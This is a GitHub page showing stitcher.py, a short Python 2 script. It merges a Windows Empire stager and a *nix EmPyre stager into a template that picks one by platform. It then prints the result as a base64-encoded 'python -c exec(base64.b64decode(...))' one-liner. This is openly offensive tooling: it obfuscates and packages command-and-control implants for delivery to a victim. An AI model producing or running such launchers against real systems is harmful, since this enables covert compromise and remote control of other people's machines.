-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathstitcher.py
More file actions
executable file
·30 lines (23 loc) · 1.09 KB
/
stitcher.py
File metadata and controls
executable file
·30 lines (23 loc) · 1.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
import os, sys, argparse, base64
parser = argparse.ArgumentParser(description='Stitch together Emp*re stagers (python) to conditionally execute based on platform')
parser.add_argument('-w', '--windows', help='Path to Windows (Empire) stager')
parser.add_argument('-n', '--nix', help='Path to *nix (EmPyre) stager')
args = parser.parse_args()
if not args.windows or not args.nix:
parser.print_help()
print '[-] You must specify both a Windows stager and a *nix stager to continue'
sys.exit()
# Gotta catch 'em all
try:
with open(args.windows, 'r') as f:
windows_stager = f.read().strip()
with open(args.nix, 'r') as f:
nix_stager = f.read().strip()
with open('stager_template.py', 'r') as f:
stager_template = f.read()
stager_template = stager_template.replace('##EMPIREWINDOWS##', windows_stager)
stager_template = stager_template.replace('##EMPIRENIX##', nix_stager)
print '''python -c "import sys,base64;exec(base64.b64decode('%s'));"''' % (base64.b64encode(stager_template))
except Exception, e:
print '[-] Error: %s' % (str(e))